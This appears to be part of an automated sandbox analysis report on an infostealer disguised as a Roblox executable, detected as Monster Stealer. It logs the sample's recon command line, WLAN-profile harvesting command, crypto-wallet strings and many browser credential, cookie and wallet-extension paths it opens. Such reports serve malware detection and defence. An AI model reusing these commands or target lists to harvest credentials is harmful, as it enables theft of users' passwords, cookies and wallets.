Source: C:\Windows\System32\net.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct
Source: C:\Windows\System32\net.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct

Stealing of Sensitive Information

Yara detected Monster Stealer

Source: Yara match	File source: 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1951447889.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: roblox1.exe PID: 1364, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: stub.exe PID: 3428, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe, type: DROPPED

Detected generic credential text file

Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File created: C:\Users\user\AppData\Local\Temp\9AC52742-8547-84D6-5349-ECEC87A66D67\Browsers\Cookies.txt	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File created: C:\Users\user\AppData\Local\Temp\9AC52742-8547-84D6-5349-ECEC87A66D67\Browsers\Firefox\History.txt	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File created: C:\Users\user\AppData\Local\Temp\9AC52742-8547-84D6-5349-ECEC87A66D67\system_info.txt	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File created: C:\Users\user\AppData\Local\Temp\9AC52742-8547-84D6-5349-ECEC87A66D67\process_info.txt	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File created: C:\Users\user\AppData\Local\Temp\9AC52742-8547-84D6-5349-ECEC87A66D67\network_info.txt	Jump to behavior

Found many strings related to Crypto-Wallets (likely being stolen)

Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: aElectrum
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: aJaxx
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: aExodus
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: aEthereum
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: akeystore

Gathers network related connection and port information

Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "echo ####System Info#### & systeminfo & echo ####System Version#### & ver & echo ####Host Name#### & hostname & echo ####Environment Variable#### & set & echo ####Logical Disk#### & wmic logicaldisk get caption,description,providername & echo ####User Info#### & net user & echo ####Online User#### & query user & echo ####Local Group#### & net localgroup & echo ####Administrators Info#### & net localgroup administrators & echo ####Guest User Info#### & net user guest & echo ####Administrator User Info#### & net user administrator & echo ####Startup Info#### & wmic startup get caption,command & echo ####Tasklist#### & tasklist /svc & echo ####Ipconfig#### & ipconfig/all & echo ####Hosts#### & type C:\WINDOWS\System32\drivers\etc\hosts & echo ####Route Table#### & route print & echo ####Arp Info#### & arp -a & echo ####Netstat#### & netstat -ano & echo ####Service Info#### & sc query type= service state= all & echo ####Firewallinfo#### & netsh firewall show state & netsh firewall show config"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\NETSTAT.EXE netstat -ano
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "echo ####System Info#### & systeminfo & echo ####System Version#### & ver & echo ####Host Name#### & hostname & echo ####Environment Variable#### & set & echo ####Logical Disk#### & wmic logicaldisk get caption,description,providername & echo ####User Info#### & net user & echo ####Online User#### & query user & echo ####Local Group#### & net localgroup & echo ####Administrators Info#### & net localgroup administrators & echo ####Guest User Info#### & net user guest & echo ####Administrator User Info#### & net user administrator & echo ####Startup Info#### & wmic startup get caption,command & echo ####Tasklist#### & tasklist /svc & echo ####Ipconfig#### & ipconfig/all & echo ####Hosts#### & type C:\WINDOWS\System32\drivers\etc\hosts & echo ####Route Table#### & route print & echo ####Arp Info#### & arp -a & echo ####Netstat#### & netstat -ano & echo ####Service Info#### & sc query type= service state= all & echo ####Firewallinfo#### & netsh firewall show state & netsh firewall show config"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\NETSTAT.EXE netstat -ano

Tries to harvest and steal WLAN passwords

Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "netsh wlan show profiles"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "netsh wlan show profiles"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform\SignalDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm\index-dir	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.files	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\datareporting\glean	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\storage\permanent\chrome\idb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\storage\to-be-removed	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\GPUCache	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\wasm\index-dir	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\e9edf720-d88f-46ea-8d95-7134a339b3c1	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\storage\permanent	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GCM Store	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync App Settings	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\wasm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons Monochrome	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fhihpiojkbmbpdjeoajapmgkhlnakfjf	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml\Icons Maskable	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnnegphlobjdpkhecapkijjdkgcjhkib	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fmgjjmmmlfnkbppncabfkddbjimcfncm\Icons Maskable	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\EventDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fhihpiojkbmbpdjeoajapmgkhlnakfjf\Icons	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fmgjjmmmlfnkbppncabfkddbjimcfncm\Icons	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\crashes\events	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\datareporting\glean\tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\84b89d2b-fec7-4b59-87f2-603dcfbd43dd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_model_metadata_store	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Rules	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\DawnCache	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\bookmarkbackups	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fmgjjmmmlfnkbppncabfkddbjimcfncm\Icons Monochrome	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Temp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\storage	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Data\LevelDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.files	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\js\index-dir	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\mpnpojknpmmopombnjdcgaaiekajbnjb\Icons	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\datareporting\glean\events	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml\Icons	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\saved-telemetry-pings	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\sessionstore-backups	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\metadata	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GPUCache	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\datareporting\glean\db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension State	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cache	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\kefjledonklijopmnomlcbpllchaibag\Icons Monochrome	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\1dcaa933-a69d-41cc-acb5-708980d119e5	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service\EntryDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Session Storage	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\mpnpojknpmmopombnjdcgaaiekajbnjb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\mpnpojknpmmopombnjdcgaaiekajbnjb\Icons Monochrome	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.files	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.files	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\databases	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\PersistentOriginTrials	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pdadjkfkgcafgbceimcpbkalnfnepbnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nphplpgoakhhjchkkhmiggakijnkhfnd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform\SegmentInfoDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\000003.log	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\blob_storage\6f463e7a-ef1f-4e71-ae85-88471a72b3d6	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\datareporting	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\b79425d0-2f84-41d2-84d3-9f598259534d	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Cache	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\storage\permanent\chrome\idb\2918063365piupsah.files	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Network	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\881ae04a-fa90-4a62-8eee-5ae000467040	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\storage\permanent\chrome	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Bookmarks	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\mpnpojknpmmopombnjdcgaaiekajbnjb\Icons Maskable	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\WebStorage	Jump to behavior
